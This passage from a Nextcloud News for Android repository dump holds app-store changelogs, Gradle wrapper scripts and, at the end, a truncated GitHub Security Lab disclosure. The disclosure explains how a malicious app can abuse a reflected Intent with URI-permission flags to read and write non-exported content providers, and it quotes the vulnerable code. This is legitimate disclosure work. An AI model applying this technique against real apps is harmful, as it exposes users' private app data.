    "path": "fastlane/metadata/android/de-DE/changelogs/176.txt",
    "content": "- Fixed - #1061 Sometimes app crashes on long tap on detail view\n- Fixed several app crashes\n  - fixed database crashed by reducing the number of loaded items per page\n  - fixed crash when long tapping folders in navigation drawer\n  - fixed app crash when ui updates\n  - fixed crashes caused by swiping on articles in list view"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/177.txt",
    "content": "Fixed incompatibility issues with Nextcloud News 18.1.0"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/178.txt",
    "content": "Fixed crash when relative links in articles are clicked\nAdded Support Material You Theming with App Icon (thanks to @salixor)"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/179.txt",
    "content": "Security related fixes (only F-Droid users affected)"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/180.txt",
    "content": "Fix incorrect height of listview rows (#1111)\nSwitched from Universal-Image-Loader to Glide as image loading library\nAdded support for SVG favicons\nAdded support for external media players"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/181.txt",
    "content": "Fix broken notifications for Android 13"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/182.txt",
    "content": "Fix broken notifications for Android 13"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/183.txt",
    "content": "- Internal dependency updates\n- Fix crash related when trying to move a feed (thanks to @Unpublished)\n- Prevent podcast view from showing up on every app start (thanks to @Unpublished)\n- Allow selecting feed URL in options dialog (thanks to @Unpublished)"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/184.txt",
    "content": "Changed - Internal dependency updates\nChanged - !1212 - Nextcloud Single-Sign-On updates\nChanged - !1200 - Bail out early on generating unread rss items notifications (thanks to @Unpublished)\nChanged - !1199 - Housekeeping / Remove unused classes (thanks to @Unpublished)\nChanged - !1195 - Migrate some classes to Kotlin (thanks to @Unpublished)"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/185.txt",
    "content": "Changed - Update Single-Sign-On Lib"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/186.txt",
    "content": "Note: Due to changes to the database schema the data will be cleared when upgrading\nNote: What a release! Thank you for the endless contributions from the community!\nNote: The changelog is too long for this release - you'll see it when you launch the app!\n"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/189.txt",
    "content": "Added Google News Policy / Contact Us page"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/190.txt",
    "content": "Added Google News Policy / Contact Us page"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/191.txt",
    "content": "Added - Add \"remove podcast\" in toolbar and \"Downloaded podcasts\" special folder\nFixed - Code section shows the same listing in some code posts\nFixed - Changing theme (light/dark) caused favicons to display in wrong color\nFixed - Widget opens wrong article / #1355 Clicking on the widget jumps to a previously opened article\nFixed - Crash when opening downloaded podcasts\nFixed - Images not shown in Details view of specific feeds\nChanged - Reduced apk size by 8%"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/192.txt",
    "content": "Dependency updates\nAdded - #1490 - Option to Increase Text Size in Detail View for Accessibility\nFixed - #1456 - Bullet points in unsorted item list look all of the same level\nFixed - #1428 - Font size a lot smaller when language set to other than English (superseded by #1490) (@thanks to @cemrich)\nFixed - !1498 - Fix crash when clearing cache"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/193.txt",
    "content": "- Dependency updates\n- Added - !1603 - Automatically trigger sync when bottom is reached\n- Added - #1367 - Add Pinch to zoom for images (thanks to @DoHe)\n- Added - !1531 - Show snackbar after batch marking items as read (thanks to @Unpublished)\n- Fixed - #1590 - Fixed broken widget\n- Fixed - #1591 - Handle URL encoding when reading mediaThumbnail from body (thanks to @DoHe)\n- Fixed - #1576 - Import opml do not work at all\n- Fixed - #1510 - Client sends form data when POSTing instead of JSON"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/194.txt",
    "content": "- Dependency updates\n- Fixed - !1612 - Streamline FAB-aware Snackbar usage (thanks to @Unpublished)\n- Fixed - !1609 - Only mark unread items as read\n- Fixed - #1620 - Fix broken changelog\n- Fixed - #1618 - Fixed broken sync when tapping nextcloud logo\n"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/195.txt",
    "content": "- Dependency updates\n- Fixed - !1628 - Make syncing when reaching the bottom optional (thanks to @DoHe)\n"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/196.txt",
    "content": "- Dependency updates\n- Fixed - !1637 - Fix bug in \"Mark all unread items as read\" feature (thanks to @Unpublished)\n"
  },
  {
    "path": "fastlane/metadata/android/de-DE/full_description.txt",
    "content": "Die Nextcloud News App ermöglicht die Synchronisierung von Artikeln zwischen Android und der Webbasierten Nextcloud News Anwendung.\n\n- Anpassbare Listenansicht\n- Dark/Light Theme\n- Podcasts anhören\n- Android Auto Unterstützung\n- Artikel Offline lesen\n- Bilder offline zwischenspeichern\n- Hintergrund-Synchronisierung\n- Als gelesen markieren beim scrollen\n- Schriftart einstellbar\n- Widget\n- uvm.\n\n\nUm die neuste Beta Version zu verwenden, klicke bitte auf den folgenden Link:\nhttps://play.google.com/apps/testing/de.luhmer.owncloudnewsreader\n\nDie App steht unter der AGPLv3 Lizenz und ist eine freie Software deren Quellcode unter folgendem Link verfügbar ist. Jeder kann dazu beitragen die App weiter zu verbessern.\nhttps://github.com/nextcloud/news-android\n\nBitte beachten Sie, dass zur Verwendung dieser App ein Nextcloud Instanz mit installierter News App benötigt wird."
  },
  {
    "path": "fastlane/metadata/android/de-DE/short_description.txt",
    "content": "Android App für Nextcloud News App (Benötigt eine eigene Nextcloud Instanz)"
  },
  {
    "path": "fastlane/metadata/android/de-DE/title.txt",
    "content": "Nextcloud News"
  },
  {
    "path": "fastlane/metadata/android/de-DE/video.txt",
    "content": ""
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/166.txt",
    "content": "- Added - #1002 support for more granular notification settings\n- Changed - added file extension to downloaded/exported images\n- Changed - allow clicks on notification after an image has been saved/downloaded from detail view\n- Fixed - #1018 Item state sync is not working correctly when many items have been changed\n- Fix security issue GHSL-2021-1033 (Thanks to GitHub Security Lab - with special thanks to Tony Torralba and Kevin Backhouse)"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/167.txt",
    "content": "- Fixed - #1006 Refactor and fix sync issues\n- Changed - Improve OPML import dialog\n- Changed - Increase the soft limit of articles in the app from 1500 to 5000 articles"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/168.txt",
    "content": "- Fixed - Fix broken sync due to incompatibility between latest nextcloud files app and Single Sign On Library\n"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/170.txt",
    "content": "- Fixed - #1044 Colors/Theme sometimes not applied\n- Fixed - #1042 Relative image links/URLs don't open correctly\n- Fixed - #1039 SSO not working with Beta Version of Files App"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/171.txt",
    "content": "- Fixed - #1012 Loadingbar is visible even though page is done loading\n- Fixed - #1029 Unread list does not actualize after manual update (Only when using legacy login)\n- Fixed - #1046 \"No notification\" setting still generates notifications in separate notification channel\n- Fixed - Fix missing images if webview has been restored (e.g. after app has been in background)\n- Fixed - News App is broken after restoring it from a backup (when using SSO)"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/172.txt",
    "content": "- Fixed - #1055 App crashes during sync (OutOfMemory Error)"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/173.txt",
    "content": "- Fixed - Try to fix more app crashes during sync (reduce number of items per sync)\n- Fixed - Speedup detail view by not storing instance state of webview\n"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/174.txt",
    "content": "- Fixed - Try to fix more app crashes during sync (reduce number of items per sync)\n- Fixed - Speedup detail view by not storing instance state of webview\n- Changed - Always show incognito mode icon if incognito mode is enabled"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/175.txt",
    "content": "Added - !1066 Support for Folder Management (Rename, Remove, Create) (thanks @proninyaroslav)\nFixed - #1075 Feed name update not updating in RSS items (thanks @proninyaroslav)\nFixed - #1064 Add button to exit audio/podcast player once it's open\nFixed - #1048 Fix broken podcast time scrolling\nFixed - #1053 Podcast player disappears after rotating device"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/176.txt",
    "content": "- Fixed - #1061 Sometimes app crashes on long tap on detail view\n- Fixed several app crashes\n  - fixed database crashed by reducing the number of loaded items per page\n  - fixed crash when long tapping folders in navigation drawer\n  - fixed app crash when ui updates\n  - fixed crashes caused by swiping on articles in list view"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/177.txt",
    "content": "Fixed incompatibility issues with Nextcloud News 18.1.0"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/178.txt",
    "content": "Fixed crash when relative links in articles are clicked\nAdded Support Material You Theming with App Icon (thanks to @salixor)"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/179.txt",
    "content": "Security related fixes (only F-Droid users affected)"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/180.txt",
    "content": "Fix incorrect height of listview rows (#1111)\nSwitched from Universal-Image-Loader to Glide as image loading library\nAdded support for SVG favicons\nAdded support for external media players"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/181.txt",
    "content": "Fix broken notifications for Android 13"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/182.txt",
    "content": "Fix broken notifications for Android 13"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/183.txt",
    "content": "- Internal dependency updates\n- Fix crash related when trying to move a feed (thanks to @Unpublished)\n- Prevent podcast view from showing up on every app start (thanks to @Unpublished)\n- Allow selecting feed URL in options dialog (thanks to @Unpublished)"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/184.txt",
    "content": "Changed - Internal dependency updates\nChanged - !1212 - Nextcloud Single-Sign-On updates\nChanged - !1200 - Bail out early on generating unread rss items notifications (thanks to @Unpublished)\nChanged - !1199 - Housekeeping / Remove unused classes (thanks to @Unpublished)\nChanged - !1195 - Migrate some classes to Kotlin (thanks to @Unpublished)"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/185.txt",
    "content": "Changed - Update Single-Sign-On Lib"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/186.txt",
    "content": "Note: Due to changes to the database schema the data will be cleared when upgrading\nNote: What a release! Thank you for the endless contributions from the community!\nNote: The changelog is too long for this release - you'll see it when you launch the app!\n"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/189.txt",
    "content": "Added Google News Policy / Contact Us page"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/190.txt",
    "content": "Added Google News Policy / Contact Us page"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/191.txt",
    "content": "Added - Add \"remove podcast\" in toolbar and \"Downloaded podcasts\" special folder\nFixed - Code section shows the same listing in some code posts\nFixed - Changing theme (light/dark) caused favicons to display in wrong color\nFixed - Widget opens wrong article / #1355 Clicking on the widget jumps to a previously opened article\nFixed - Crash when opening downloaded podcasts\nFixed - Images not shown in Details view of specific feeds\nChanged - Reduced apk size by 8%"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/192.txt",
    "content": "Dependency updates\nAdded - #1490 - Option to Increase Text Size in Detail View for Accessibility\nFixed - #1456 - Bullet points in unsorted item list look all of the same level\nFixed - #1428 - Font size a lot smaller when language set to other than English (superseded by #1490) (@thanks to @cemrich)\nFixed - !1498 - Fix crash when clearing cache"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/193.txt",
    "content": "- Dependency updates\n- Added - !1603 - Automatically trigger sync when bottom is reached\n- Added - #1367 - Add Pinch to zoom for images (thanks to @DoHe)\n- Added - !1531 - Show snackbar after batch marking items as read (thanks to @Unpublished)\n- Fixed - #1590 - Fixed broken widget\n- Fixed - #1591 - Handle URL encoding when reading mediaThumbnail from body (thanks to @DoHe)\n- Fixed - #1576 - Import opml do not work at all\n- Fixed - #1510 - Client sends form data when POSTing instead of JSON"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/194.txt",
    "content": "- Dependency updates\n- Fixed - !1612 - Streamline FAB-aware Snackbar usage (thanks to @Unpublished)\n- Fixed - !1609 - Only mark unread items as read\n- Fixed - #1620 - Fix broken changelog\n- Fixed - #1618 - Fixed broken sync when tapping nextcloud logo\n"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/195.txt",
    "content": "- Dependency updates\n- Fixed - !1628 - Make syncing when reaching the bottom optional (thanks to @DoHe)\n"
  },
  {
    "path": "fastlane/metadata/android/en-US/changelogs/196.txt",
    "content": "- Dependency updates\n- Fixed - !1637 - Fix bug in \"Mark all unread items as read\" feature (thanks to @Unpublished)\n"
  },
  {
    "path": "fastlane/metadata/android/en-US/full_description.txt",
    "content": "The Nextcloud News Reader App makes it possible to synchronize feeds between Android and the Nextcloud News App.\n\n- Dark/Light Theme\n- podcast support\n- support for Android Auto\n- Offline reading\n- Cache images offline\n- Background synchronization\n- Customizable Listview\n- Customizable font\n- Mark as read while scrolling\n- Widget\n- and many more!\n\nIn order to use the newest beta version, please click on the following link:\nhttps://play.google.com/apps/testing/de.luhmer.owncloudnewsreader\n\n\nThe App is under AGPLv3 license terms. It is free and the source code is available under:\nhttps://github.com/nextcloud/news-android\n\nPlease note that in order to use this app you will need to have a nextcloud instance running with the news app installed."
  },
  {
    "path": "fastlane/metadata/android/en-US/short_description.txt",
    "content": "Android App for Nextcloud News App (requires own Nextcloud instance)"
  },
  {
    "path": "fastlane/metadata/android/en-US/title.txt",
    "content": "Nextcloud News"
  },
  {
    "path": "fastlane/metadata/android/en-US/video.txt",
    "content": ""
  },
  {
    "path": "gradle/wrapper/gradle-wrapper.properties",
    "content": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-9.4.1-bin.zip\nnetworkTimeout=10000\nvalidateDistributionUrl=true\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\n"
  },
  {
    "path": "gradle.properties",
    "content": "# Project-wide Gradle settings.\n\n# IDE (e.g. Android Studio) users:\n# Settings specified in this file will override any Gradle settings\n# configured through the IDE.\n\n# For more details on how to configure your build environment visit\n# http://www.gradle.org/docs/current/userguide/build_environment.html\n\n# Specifies the JVM arguments used for the daemon process.\n# The setting is particularly useful for tweaking memory settings.\n# Default value: -Xmx10248m -XX:MaxPermSize=256m\n# org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8\n\n# When configured, Gradle will run in incubating parallel mode.\n# This option should only be used with decoupled projects. More details, visit\n# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects\n# org.gradle.parallel=true\n\nANDROID_BUILD_MIN_SDK_VERSION=21\nANDROID_BUILD_TARGET_SDK_VERSION=35\nANDROID_BUILD_SDK_VERSION=36\nandroid.useAndroidX=true\nandroid.enableJetifier=true\norg.gradle.dependency.verification.console=verbose\norg.gradle.jvmargs=-Xmx4096m\nandroid.defaults.buildfeatures.resvalues=true\nandroid.sdk.defaultTargetSdkToCompileSdkIfUnset=true\nandroid.enableAppCompileTimeRClass=true\nandroid.usesSdkInManifest.disallowed=true\nandroid.uniquePackageNames=true\nandroid.dependency.useConstraints=true\nandroid.r8.strictFullModeForKeepRules=true\nandroid.r8.optimizedResourceShrinking=true\nandroid.builtInKotlin=true\nandroid.newDsl=true\n"
  },
  {
    "path": "gradlew",
    "content": "#!/bin/sh\n\n#\n# Copyright © 2015 the original authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# SPDX-License-Identifier: Apache-2.0\n#\n\n##############################################################################\n#\n#   Gradle start up script for POSIX generated by Gradle.\n#\n#   Important for running:\n#\n#   (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is\n#       noncompliant, but you have some other compliant shell such as ksh or\n#       bash, then to run this script, type that shell name before the whole\n#       command line, like:\n#\n#           ksh Gradle\n#\n#       Busybox and similar reduced shells will NOT work, because this script\n#       requires all of these POSIX shell features:\n#         * functions;\n#         * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,\n#           «${var#prefix}», «${var%suffix}», and «$( cmd )»;\n#         * compound commands having a testable exit status, especially «case»;\n#         * various built-in commands including «command», «set», and «ulimit».\n#\n#   Important for patching:\n#\n#   (2) This script targets any POSIX shell, so it avoids extensions provided\n#       by Bash, Ksh, etc; in particular arrays are avoided.\n#\n#       The \"traditional\" practice of packing multiple parameters into a\n#       space-separated string is a well documented source of bugs and security\n#       problems, so this is (mostly) avoided, by progressively accumulating\n#       options in \"$@\", and eventually passing that to Java.\n#\n#       Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,\n#       and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;\n#       see the in-line comments for details.\n#\n#       There are tweaks for specific operating systems such as AIX, CygWin,\n#       Darwin, MinGW, and NonStop.\n#\n#   (3) This script is generated from the Groovy template\n#       https://github.com/gradle/gradle/blob/2d6327017519d23b96af35865dc997fcb544fb40/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt\n#       within the Gradle project.\n#\n#       You can find Gradle at https://github.com/gradle/gradle/.\n#\n##############################################################################\n\n# Attempt to set APP_HOME\n\n# Resolve links: $0 may be a link\napp_path=$0\n\n# Need this for daisy-chained symlinks.\nwhile\n    APP_HOME=${app_path%\"${app_path##*/}\"}  # leaves a trailing /; empty if no leading path\n    [ -h \"$app_path\" ]\ndo\n    ls=$( ls -ld \"$app_path\" )\n    link=${ls#*' -> '}\n    case $link in             #(\n      /*)   app_path=$link ;; #(\n      *)    app_path=$APP_HOME$link ;;\n    esac\ndone\n\n# This is normally unused\n# shellcheck disable=SC2034\nAPP_BASE_NAME=${0##*/}\n# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)\nAPP_HOME=$( cd -P \"${APP_HOME:-./}\" > /dev/null && printf '%s\\n' \"$PWD\" ) || exit\n\n# Use the maximum available, or set MAX_FD != -1 to use that value.\nMAX_FD=maximum\n\nwarn () {\n    echo \"$*\"\n} >&2\n\ndie () {\n    echo\n    echo \"$*\"\n    echo\n    exit 1\n} >&2\n\n# OS specific support (must be 'true' or 'false').\ncygwin=false\nmsys=false\ndarwin=false\nnonstop=false\ncase \"$( uname )\" in                #(\n  CYGWIN* )         cygwin=true  ;; #(\n  Darwin* )         darwin=true  ;; #(\n  MSYS* | MINGW* )  msys=true    ;; #(\n  NONSTOP* )        nonstop=true ;;\nesac\n\n\n\n# Determine the Java command to use to start the JVM.\nif [ -n \"$JAVA_HOME\" ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n        # IBM's JDK on AIX uses strange locations for the executables\n        JAVACMD=$JAVA_HOME/jre/sh/java\n    else\n        JAVACMD=$JAVA_HOME/bin/java\n    fi\n    if [ ! -x \"$JAVACMD\" ] ; then\n        die \"ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n    fi\nelse\n    JAVACMD=java\n    if ! command -v java >/dev/null 2>&1\n    then\n        die \"ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n    fi\nfi\n\n# Increase the maximum file descriptors if we can.\nif ! \"$cygwin\" && ! \"$darwin\" && ! \"$nonstop\" ; then\n    case $MAX_FD in #(\n      max*)\n        # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.\n        # shellcheck disable=SC2039,SC3045\n        MAX_FD=$( ulimit -H -n ) ||\n            warn \"Could not query maximum file descriptor limit\"\n    esac\n    case $MAX_FD in  #(\n      '' | soft) :;; #(\n      *)\n        # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.\n        # shellcheck disable=SC2039,SC3045\n        ulimit -n \"$MAX_FD\" ||\n            warn \"Could not set maximum file descriptor limit to $MAX_FD\"\n    esac\nfi\n\n# Collect all arguments for the java command, stacking in reverse order:\n#   * args from the command line\n#   * the main class name\n#   * -classpath\n#   * -D...appname settings\n#   * --module-path (only if needed)\n#   * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.\n\n# For Cygwin or MSYS, switch paths to Windows format before running java\nif \"$cygwin\" || \"$msys\" ; then\n    APP_HOME=$( cygpath --path --mixed \"$APP_HOME\" )\n\n    JAVACMD=$( cygpath --unix \"$JAVACMD\" )\n\n    # Now convert the arguments - kludge to limit ourselves to /bin/sh\n    for arg do\n        if\n            case $arg in                                #(\n              -*)   false ;;                            # don't mess with options #(\n              /?*)  t=${arg#/} t=/${t%%/*}              # looks like a POSIX filepath\n                    [ -e \"$t\" ] ;;                      #(\n              *)    false ;;\n            esac\n        then\n            arg=$( cygpath --path --ignore --mixed \"$arg\" )\n        fi\n        # Roll the args list around exactly as many times as the number of\n        # args, so each arg winds up back in the position where it started, but\n        # possibly modified.\n        #\n        # NB: a `for` loop captures its iteration list before it begins, so\n        # changing the positional parameters here affects neither the number of\n        # iterations, nor the values presented in `arg`.\n        shift                   # remove old arg\n        set -- \"$@\" \"$arg\"      # push replacement arg\n    done\nfi\n\n\n# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nDEFAULT_JVM_OPTS='\"-Xmx64m\" \"-Xms64m\"'\n\n# Collect all arguments for the java command:\n#   * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,\n#     and any embedded shellness will be escaped.\n#   * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be\n#     treated as '${Hostname}' itself on the command line.\n\nset -- \\\n        \"-Dorg.gradle.appname=$APP_BASE_NAME\" \\\n        -jar \"$APP_HOME/gradle/wrapper/gradle-wrapper.jar\" \\\n        \"$@\"\n\n# Stop when \"xargs\" is not available.\nif ! command -v xargs >/dev/null 2>&1\nthen\n    die \"xargs is not available\"\nfi\n\n# Use \"xargs\" to parse quoted args.\n#\n# With -n1 it outputs one arg per line, with the quotes and backslashes removed.\n#\n# In Bash we could simply go:\n#\n#   readarray ARGS < <( xargs -n1 <<<\"$var\" ) &&\n#   set -- \"${ARGS[@]}\" \"$@\"\n#\n# but POSIX shell has neither arrays nor command substitution, so instead we\n# post-process each arg (as a line of input to sed) to backslash-escape any\n# character that might be a shell metacharacter, then use eval to reverse\n# that process (while maintaining the separation between arguments), and wrap\n# the whole thing up as a single \"set\" statement.\n#\n# This will of course break if any of these variables contains a newline or\n# an unmatched quote.\n#\n\neval \"set -- $(\n        printf '%s\\n' \"$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS\" |\n        xargs -n1 |\n        sed ' s~[^-[:alnum:]+,./:=@_]~\\\\&~g; ' |\n        tr '\\n' ' '\n    )\" '\"$@\"'\n\nexec \"$JAVACMD\" \"$@\"\n"
  },
  {
    "path": "gradlew.bat",
    "content": "@rem\r\n@rem Copyright 2015 the original author or authors.\r\n@rem\r\n@rem Licensed under the Apache License, Version 2.0 (the \"License\");\r\n@rem you may not use this file except in compliance with the License.\r\n@rem You may obtain a copy of the License at\r\n@rem\r\n@rem      https://www.apache.org/licenses/LICENSE-2.0\r\n@rem\r\n@rem Unless required by applicable law or agreed to in writing, software\r\n@rem distributed under the License is distributed on an \"AS IS\" BASIS,\r\n@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n@rem See the License for the specific language governing permissions and\r\n@rem limitations under the License.\r\n@rem\r\n@rem SPDX-License-Identifier: Apache-2.0\r\n@rem\r\n\r\n@if \"%DEBUG%\"==\"\" @echo off\r\n@rem ##########################################################################\r\n@rem\r\n@rem  Gradle startup script for Windows\r\n@rem\r\n@rem ##########################################################################\r\n\r\n@rem Set local scope for the variables with windows NT shell\r\nif \"%OS%\"==\"Windows_NT\" setlocal\r\n\r\nset DIRNAME=%~dp0\r\nif \"%DIRNAME%\"==\"\" set DIRNAME=.\r\n@rem This is normally unused\r\nset APP_BASE_NAME=%~n0\r\nset APP_HOME=%DIRNAME%\r\n\r\n@rem Resolve any \".\" and \"..\" in APP_HOME to make it shorter.\r\nfor %%i in (\"%APP_HOME%\") do set APP_HOME=%%~fi\r\n\r\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\r\nset DEFAULT_JVM_OPTS=\"-Xmx64m\" \"-Xms64m\"\r\n\r\n@rem Find java.exe\r\nif defined JAVA_HOME goto findJavaFromJavaHome\r\n\r\nset JAVA_EXE=java.exe\r\n%JAVA_EXE% -version >NUL 2>&1\r\nif %ERRORLEVEL% equ 0 goto execute\r\n\r\necho. 1>&2\r\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2\r\necho. 1>&2\r\necho Please set the JAVA_HOME variable in your environment to match the 1>&2\r\necho location of your Java installation. 1>&2\r\n\r\ngoto fail\r\n\r\n:findJavaFromJavaHome\r\nset JAVA_HOME=%JAVA_HOME:\"=%\r\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\r\n\r\nif exist \"%JAVA_EXE%\" goto execute\r\n\r\necho. 1>&2\r\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2\r\necho. 1>&2\r\necho Please set the JAVA_HOME variable in your environment to match the 1>&2\r\necho location of your Java installation. 1>&2\r\n\r\ngoto fail\r\n\r\n:execute\r\n@rem Setup the command line\r\n\r\n\r\n\r\n@rem Execute Gradle\r\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -jar \"%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\" %*\r\n\r\n:end\r\n@rem End local scope for the variables with windows NT shell\r\nif %ERRORLEVEL% equ 0 goto mainEnd\r\n\r\n:fail\r\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\r\nrem the _cmd.exe /c_ return code!\r\nset EXIT_CODE=%ERRORLEVEL%\r\nif %EXIT_CODE% equ 0 set EXIT_CODE=1\r\nif not \"\"==\"%GRADLE_EXIT_CONSOLE%\" exit %EXIT_CODE%\r\nexit /b %EXIT_CODE%\r\n\r\n:mainEnd\r\nif \"%OS%\"==\"Windows_NT\" endlocal\r\n\r\n:omega\r\n"
  },
  {
    "path": "security/GHSL-2021-1033_Nextcloud_News_for_Android.md",
    "content": "# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2021-1033`\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified a potential security vulnerability in [Nextcloud News for Android](https://github.com/nextcloud/news-android).\n\nWe are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.\n\nIf at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2021-1033` as a reference).\n\nIf you are _NOT_ the correct point of contact for this report, please let us know!\n\n## Summary\n\nThe Nextcloud News for Android app has a security issue by which a malicious application installed on the same device can send it an arbitrary Intent that gets reflected back, unintentionally giving read and write access to non-exported Content Providers in Nextcloud News for Android.\n\n## Product\n\nNextcloud News for Android\n\n## Tested Version\n\n0.9.9.62 (latest)\n\n## Details\n\n### Issue 1: Intent URI permission manipulation (`GHSL-2021-1033`)\n\nThe activity `SettingsActivity` is exported (since it has an `intent-filter`), as it can be seen in the Android Manifest:\n\n[`AndroidManifest.xml:66`](https://github.com/nextcloud/news-android/blob/df13ae1c42f60dc9461278081ca3f6fd20a602e9/News-Android-App/src/main/AndroidManifest.xml#L66)\n\n```xml\n<activity\n    android:name=\".SettingsActivity\"\n    android:configChanges=\"keyboardHidden|orientation|screenSize\"\n    android:label=\"@string/title_activity_settings\">\n<intent-filter>\n    <action android:name=\"de.luhmer.owncloudnewsreader.ACCOUNT_MANAGER_ENTRY\" />\n    <category android:name=\"android.intent.category.DEFAULT\" />\n</intent-filter>\n</activity>\n```\n\nIn its `onStart` method, this activity obtains the incoming `Intent` and returns it back to the calling application using `setResult`:\n\n[`SettingsActivity.java:149`](https://github.com/nextcloud/news-android/blob/df13ae1c42f60dc9461278081ca3f6fd20a602e9/News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/SettingsActivity.java#L149)\n\n```java\n@Override\nprotected void onStart() {\n    super.onStart();\n    Intent intent = getIntent();\n    intent.putExtra(\n            SettingsActivity.SP_FEED_LIST_LAYOUT,\n            mPrefs.getString(SettingsActivity.SP_FEED_LIST_LAYOUT, \"0\")\n    );\n    setResult(RESULT_OK,intent);\n}\n```\n\nBecause of this, any application that uses `startActivityForResult` to start `SettingsActivity` with an arbitrary Intent will receive it back.\n\nAn attacker can exploit this by including the flags `FLAG_GRANT_READ_URI_PERMISSION` and/or `FLAG_GRANT_WRITE_URI_PERMISSION` in the Intent, which once returned by Nextcloud News will provide access to any of its Content Providers that has the attribute `android:grantUriPermissions=\"true\"`, even if it is not exported.\n\nNextcloud News declares the `FileProvider` Content Provider in its Android 